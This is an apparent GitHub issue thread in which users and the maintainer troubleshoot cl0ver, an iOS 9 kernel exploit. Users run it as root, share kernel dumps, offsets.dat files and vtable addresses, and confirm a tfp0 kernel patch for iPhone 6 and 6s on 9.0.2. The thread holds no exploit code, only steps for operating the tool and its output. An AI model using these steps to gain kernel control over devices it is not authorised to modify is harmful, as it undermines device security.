I don't know what that means, but apparently with another dump without any panic, just the console disappears [ssh on windows 10]
This got me an file kernel.bin, this is related ?
Siguza commented
Yes yes! That's what we've been after! :D
Now, please move that file to /etc/cl0ver/kernel.bin and try running ./cl0ver without any arguments as root.
If all goes well, that should then a) install the tfp0 kernel patch and b) create a cache file at /etc/cl0ver/offsets.dat. If that all works and you get that file, could you please upload it here? :)
gitNemo commented
[*] Successfully installed patch [src/lib/exploit.c:168 patch_host_special_port_4]
Here's the offset.dat file
offsets.dat.zip
Shinjidai commented
I just tried dumping the kernel with SSH on Windows 7 and 10 but my iPhone still panics. Really weird :/ I'm glad you were successful though :)
Siguza commented
Now @Shinjidai could you please download that file, unzip it, put it at /etc/cl0ver/offsets.dat and try running ./cl0ver?
Shinjidai commented
[*] Successfully installed patch [src/lib/exploit.c:168 patch_host_special_port_4]
Seems to work now. Thanks so much, great work you did there! Thanks for the troubleshooting :)
gitNemo commented
Again, Thank you for your hard work ^^
TheonlyGermanGuy commented
I found one panic log today
ryu16 commented
Hello! I believe I've successfully found vtable address on iPhone6s(N71AP)/9.0.2.
0xffffff800453e000
0xffffff80044f7168
See attached files:
- ./cl0ver dump log
- ./cl0ver log
- offsets.dat
- compiled executable cl0ver file
I have a question. How can I know tfp0 is working correctly?
I want to use nonceEnabler.
logs.zip
muee88 commented
@ryu16 I've got the same device and have been trying unsuccessfully to install cl0ver. Your files worked perfectly. THANK YOU!
Siguza commented
@ryu16 Just try using nonceEnabler. It should tell you if it cannot get the kernel task.
ryu16 commented
@Siguza I just did now and It seems nonceEnabler works very fine after cl0ver. Thanks a lot!
Siguza commented
Okay, I'm finally marking this issue as resolved.
Support for iPhone 6 and 6s (N61AP, N71AP, N71mAP) on 9.0.2 has been added with rev 271f51b, and I started an offset database so people can bypass the unstable kernel dumping.
Thank you so much, everyone who contributed to this! Together we have accomplished what none of us could have done alone. :)